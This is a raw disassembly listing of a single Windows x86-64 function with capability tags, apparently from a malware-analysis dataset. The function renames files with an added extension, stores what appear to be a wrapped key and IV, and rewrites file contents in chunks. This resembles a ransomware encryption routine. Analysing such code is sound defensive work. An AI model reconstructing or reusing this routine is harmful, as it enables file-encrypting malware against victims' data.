Function at 0x417d31
Capabilities:
Move file
Read file on windows
Write file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
mov eax, 0x32d8
call fcn.00448fd0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3280], rcx
mov dword [rbp + 0x3288], edx
mov dword [rbp + 0x3290], r8d
mov dword [rbp + 0x3298], r9d
mov ecx, 0x1000
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3228], rax
mov rax, qword [rbp + 0x3228]
mov rdx, qword [rbp + 0x3280]
mov rcx, rax
call sub.msvcrt.dll_strcpy
cmp dword [rbp + 0x3298], 1
jne 0x417e01
mov rax, qword [rbp + 0x3228]
lea rdx, [0x004d0ee5]
mov rcx, rax
call sub.msvcrt.dll_fopen
mov qword [rbp + 0x3220], rax
cmp qword [rbp + 0x3220], 0
je 0x417e01
mov ecx, 0x10
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3218], rax
mov rdx, qword [rbp + 0x3218]
mov rax, qword [rbp + 0x3220]
mov rcx, rax
call fcn.0041adda
mov rax, qword [rbp + 0x3220]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov rax, qword [rbp + 0x3218]
mov rcx, rax
call fcn.0044b0e8
mov rax, qword [rbp + 0x3228]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov edx, dword [0x0044d3e0]
mov edx, edx
add rax, rdx
add rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3210], rax
mov rdx, qword [rbp + 0x3228]
mov rax, qword [rbp + 0x3210]
mov rcx, rax
call sub.msvcrt.dll_strcpy
lea rax, [0x004ed470]
mov eax, dword [rax]
cmp eax, 1
jne 0x417ee0
mov rax, qword [rbp + 0x3210]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x3210]
add rax, rdx
mov word [rax], 0x2e
lea rax, [0x004ed3d8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3210]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rax, qword [rbp + 0x3210]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov rdx, rax
mov rax, qword [rbp + 0x3210]
add rax, rdx
mov byte [rax], 0
mov rdx, qword [rbp + 0x3210]
mov rax, qword [rbp + 0x3228]
mov rcx, rax
call sub.msvcrt.dll_rename
mov dword [rbp + 0x324c], eax
jmp 0x417eea
mov dword [rbp + 0x324c], 0
cmp dword [rbp + 0x324c], 0
je 0x417f0f
lea rax, [0x004e8e50]
mov eax, dword [rax + 0x10]
lea edx, [rax + 1]
lea rax, [0x004e8e50]
mov dword [rax + 0x10], edx
jmp 0x41872b
mov rax, qword [rbp + 0x3210]
lea rdx, [0x004d0ee7]
mov rcx, rax
call sub.msvcrt.dll_fopen
mov qword [rbp + 0x3208], rax
cmp qword [rbp + 0x3208], 0
jne 0x417f51
mov rdx, qword [rbp + 0x3228]
mov rax, qword [rbp + 0x3210]
mov rcx, rax
call sub.msvcrt.dll_rename
jmp 0x41872b
mov dword [rbp + 0x3244], 0
mov rax, qword [rbp + 0x3208]
mov r8d, 2
mov edx, 0
mov rcx, rax
call fcn.00449dd0
mov rax, qword [rbp + 0x3208]
mov rcx, rax
call fcn.0044a250
mov qword [rbp + 0x3200], rax
mov rax, qword [rbp + 0x3208]
mov r8d, 0
mov edx, 0
mov rcx, rax
call fcn.00449dd0
cmp qword [rbp + 0x3200], 0
je 0x418706
cmp dword [rbp + 0x3244], 0
jne 0x418706
lea rax, [0x004e8e18]
mov rcx, rax
call fcn.00443110
lea rax, [0x004ed480]
mov rdx, qword [rax]
mov eax, dword [rbp + 0x3290]
cdqe
imul rax, rax, 0x44f0
add rdx, rax
lea rax, [rbp + 0x31c0]
mov r8, rdx
mov edx, 0x20
mov rcx, rax
call fcn.00424720
lea rax, [0x004ed480]
mov rdx, qword [rax]
mov eax, dword [rbp + 0x3290]
cdqe
imul rax, rax, 0x44f0
add rdx, rax
lea rax, [rbp + 0x31b0]
mov r8, rdx
mov edx, 0x10
mov rcx, rax
call fcn.00424720
lea rax, [0x004e8e08]
mov eax, dword [rax]
lea r8, [rbp + 0x31c0]
lea rdx, [rbp + 0x31b0]
lea rcx, [rbp + 0x1ff0]
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0xe
mov r9d, 0x20
mov ecx, eax
call fcn.00420cc0
mov dword [rbp + 0x324c], eax
cmp dword [rbp + 0x324c], 0
je 0x418098
lea rax, [0x004e8e18]
mov rcx, rax
call fcn.004433e0
jmp 0x41872b
lea rdx, [rbp + 0x1ff0]
lea rax, [rbp + 0x31b0]
mov r8, rdx
mov edx, 0x10
mov rcx, rax
call fcn.00420c00
mov dword [rbp + 0x324c], eax
mov dword [rbp + 0x31fc], 0x20
mov dword [rbp + 0x1fec], 0x1000
lea rax, [0x004ed3c8]
mov r8d, dword [rax]
lea rax, [0x004e8e0c]
mov ecx, dword [rax]
lea rax, [0x004ed480]
mov rdx, qword [rax]
mov eax, dword [rbp + 0x3290]
cdqe
imul rax, rax, 0x44f0
lea r11, [rdx + rax]
mov esi, 0xb
lea r9, [rbp + 0x1fec]
lea r10, [rbp - 0x20]
mov edx, dword [rbp + 0x31fc]
lea rax, [rbp + 0x31c0]
lea rbx, [0x004ed3e0]
mov qword [rsp + 0x50], rbx
mov dword [rsp + 0x48], 2
mov dword [rsp + 0x40], r8d
mov dword [rsp + 0x38], ecx
mov qword [rsp + 0x30], r11
mov dword [rsp + 0x28], esi
lea rcx, [0x004d04e0]
mov qword [rsp + 0x20], rcx
mov r8, r10
mov rcx, rax
call fcn.00423320
mov dword [rbp + 0x324c], eax
cmp dword [rbp + 0x324c], 0
je 0x418173
mov dword [rbp + 0x3244], 1
cmp dword [rbp + 0x3244], 0
jne 0x4186d0
mov rax, qword [rbp + 0x3208]
mov r8d, 2
mov edx, 0
mov rcx, rax
call fcn.00449dd0
mov eax, dword [rbp + 0x1fec]
mov ecx, eax
mov rdx, qword [rbp + 0x3208]
lea rax, [rbp - 0x20]
mov r9, rdx
mov r8d, 1
mov rdx, rcx
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov edx, 1
sub edx, eax
mov eax, edx
mov dword [rbp + 0x3244], eax
cmp dword [rbp + 0x3244], 0
jne 0x418683
mov rdx, qword [rbp + 0x3208]
lea rax, [rbp + 0x1fec]
mov r9, rdx
mov r8d, 1
mov edx, 4
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov dword [rbp + 0x31f8], 0x10
mov dword [rbp + 0x1fe8], 0x1000
lea rax, [0x004ed3c8]
mov r8d, dword [rax]
lea rax, [0x004e8e0c]
mov ecx, dword [rax]
lea rax, [0x004ed480]
mov rdx, qword [rax]
mov eax, dword [rbp + 0x3290]
cdqe
imul rax, rax, 0x44f0
lea r11, [rdx + rax]
mov esi, 0xb
lea r9, [rbp + 0x1fe8]
lea r10, [rbp + 0xfe0]
mov edx, dword [rbp + 0x31f8]
lea rax, [rbp + 0x31b0]
lea rbx, [0x004ed3e0]
mov qword [rsp + 0x50], rbx
mov dword [rsp + 0x48], 2
mov dword [rsp + 0x40], r8d
mov dword [rsp + 0x38], ecx
mov qword [rsp + 0x30], r11
mov dword [rsp + 0x28], esi
lea rcx, [0x004d04e0]
mov qword [rsp + 0x20], rcx
mov r8, r10
mov rcx, rax
call fcn.00423320
mov dword [rbp + 0x324c], eax
cmp dword [rbp + 0x324c], 0
je 0x4182bb
mov dword [rbp + 0x3244], 1
lea rax, [0x004e8e18]
mov rcx, rax
call fcn.004433e0
cmp dword [rbp + 0x3244], 0
jne 0x418659
mov eax, dword [rbp + 0x1fe8]
mov ecx, eax
mov rdx, qword [rbp + 0x3208]
lea rax, [rbp + 0xfe0]
mov r9, rdx
mov r8d, 1
mov rdx, rcx
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov edx, 1
sub edx, eax
mov eax, edx
mov dword [rbp + 0x3244], eax
cmp dword [rbp + 0x3244], 0
jne 0x418618
mov rdx, qword [rbp + 0x3208]
lea rax, [rbp + 0x1fe8]
mov r9, rdx
mov r8d, 1
mov edx, 4
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rax, qword [rbp + 0x3208]
mov r9, rax
mov r8d, 1
mov edx, 4
lea rax, [0x004ed470]
mov rcx, rax
call sub.msvcrt.dll_fwrite
lea rax, [0x004ed470]
mov eax, dword [rax]
cmp eax, 1
jne 0x4185b5
mov rax, qword [rbp + 0x3200]
mov qword [rbp + 0x31f0], rax
mov dword [rbp + 0x3234], 4
mov rax, qword [rbp + 0x31f0]
shr rax, 2
mov qword [rbp + 0x3238], rax
mov dword [rbp + 0x3230], 0x100000
jmp 0x4183e5
cmp dword [rbp + 0x3234], 1
jle 0x4183de
sub dword [rbp + 0x3234], 1
mov eax, dword [rbp + 0x3234]
movsxd rdi, eax
mov rax, qword [rbp + 0x31f0]
mov edx, 0
div rdi
mov qword [rbp + 0x3238], rax
jmp 0x4183e5
sub dword [rbp + 0x3234], 1
cmp qword [rbp + 0x3238], 0
je 0x418405
cmp qword [rbp + 0x3238], 0xfffff
ja 0x418405
cmp dword [rbp + 0x3234], 0
jg 0x4183ad
cmp dword [rbp + 0x3234], 0
je 0x418418
cmp qword [rbp + 0x3238], 0
jne 0x41843d
mov dword [rbp + 0x3234], 1
mov rax, qword [rbp + 0x31f0]
mov qword [rbp + 0x3238], rax
mov rax, qword [rbp + 0x31f0]
mov dword [rbp + 0x3230], eax
mov ecx, 0x100000
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x31e8], rax
mov dword [rbp + 0x3248], 0
jmp 0x418594
mov eax, dword [rbp + 0x3248]
cdqe
imul rax, qword [rbp + 0x3238]
mov rdx, rax
mov rax, qword [rbp + 0x3208]
mov r8d, 0
mov rcx, rax
call fcn.00449dd0
mov eax, dword [rbp + 0x3230]
movsxd rdx, eax
mov rcx, qword [rbp + 0x3208]
mov rax, qword [rbp + 0x31e8]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sub.msvcrt.dll_fread
mov dword [rbp + 0x31e4], eax
mov eax, dword [rbp + 0x3230]
cdqe
cmp qword [rbp + 0x3200], rax
je 0x4184de
cmp dword [rbp + 0x31e4], 0
jne 0x4184de
mov dword [rbp + 0x3244], 1
jmp 0x4185a6
lea r8, [rbp + 0x1ff0]
mov ecx, dword [rbp + 0x31e4]
mov rdx, qword [rbp + 0x31e8]
mov rax, qword [rbp + 0x31e8]
mov r9, r8
mov r8d, ecx
mov rcx, rax
call fcn.004202d0
mov dword [rbp + 0x324c], eax
cmp dword [rbp + 0x324c], 0
je 0x41852c
mov dword [rbp + 0x3244], 1
mov dword [rbp + 0x3248], 4
jmp 0x418579
mov eax, dword [rbp + 0x3248]
cdqe
imul rax, qword [rbp + 0x3238]
mov rdx, rax
mov rax, qword [rbp + 0x3208]
mov r8d, 0
mov rcx, rax
call fcn.00449dd0
mov edx, dword [rbp + 0x31e4]
mov rcx, qword [rbp + 0x3208]
mov rax, qword [rbp + 0x31e8]
mov r9, rcx
mov r8d, 1
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rax, qword [rbp + 0x31e8]
mov edx, 8
mov rcx, rax
call fcn.00420130
add dword [rbp + 0x3248], 1
mov eax, dword [rbp + 0x3248]
cmp eax, dword [rbp + 0x3234]
jl 0x41845d
mov rax, qword [rbp + 0x31e8]
mov rcx, rax
call fcn.0044b0e8
cmp dword [rbp + 0x3244], 1
jne 0x4185ed
mov rdx, qword [rbp + 0x3228]
mov rax, qword [rbp + 0x3210]
mov rcx, rax
call sub.msvcrt.dll_rename
lea rax, [0x004e8e50]
mov eax, dword [rax + 0xc]
lea edx, [rax + 1]
lea rax, [0x004e8e50]
mov dword [rax + 0xc], edx
jmp 0x418604
lea rax, [0x004e8e50]
mov eax, dword [rax + 8]
lea edx, [rax + 1]
lea rax, [0x004e8e50]
mov dword [rax + 8], edx
mov rax, qword [rbp + 0x3208]
mov rcx, rax
call sub.msvcrt.dll_fclose
jmp 0x41872b
mov rax, qword [rbp + 0x3208]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov rdx, qword [rbp + 0x3228]
mov rax, qword [rbp + 0x3210]
mov rcx, rax
call sub.msvcrt.dll_rename
lea rax, [0x004e8e50]
mov eax, dword [rax + 0xc]
lea edx, [rax + 1]
lea rax, [0x004e8e50]
mov dword [rax + 0xc], edx
jmp 0x41872b
mov rax, qword [rbp + 0x3208]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov rdx, qword [rbp + 0x3228]
mov rax, qword [rbp + 0x3210]
mov rcx, rax
call sub.msvcrt.dll_rename
jmp 0x41872b
lea rax, [0x004e8e18]
mov rcx, rax
call fcn.004433e0
mov rax, qword [rbp + 0x3208]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov rdx, qword [rbp + 0x3228]
mov rax, qword [rbp + 0x3210]
mov rcx, rax
call sub.msvcrt.dll_rename
lea rax, [0x004e8e50]
mov eax, dword [rax + 0xc]
lea edx, [rax + 1]
lea rax, [0x004e8e50]
mov dword [rax + 0xc], edx
jmp 0x41872b
lea rax, [0x004e8e18]
mov rcx, rax
call fcn.004433e0
mov rax, qword [rbp + 0x3208]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov rdx, qword [rbp + 0x3228]
mov rax, qword [rbp + 0x3210]
mov rcx, rax
call sub.msvcrt.dll_rename
jmp 0x41872b
mov rax, qword [rbp + 0x3208]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov rdx, qword [rbp + 0x3228]
mov rax, qword [rbp + 0x3210]
mov rcx, rax
call sub.msvcrt.dll_rename
lea rax, [rbp + 0x1ff0]
mov rcx, rax
call fcn.00420270
mov dword [rbp + 0x324c], eax
lea rax, [rbp + 0x1ff0]
mov edx, 0x11b8
mov rcx, rax
call fcn.00420130
lea rax, [rbp + 0x31b0]
mov edx, 0x10
mov rcx, rax
call fcn.00420130
lea rax, [rbp + 0x31c0]
mov edx, 0x20
mov rcx, rax
call fcn.00420130
mov rax, qword [rbp + 0x3210]
mov rcx, rax
call fcn.0044b0e8
mov rax, qword [rbp + 0x3228]
mov rcx, rax
call fcn.0044b0e8
nop
add rsp, 0x32d8
pop rbx
pop rsi
pop rdi
pop rbp
ret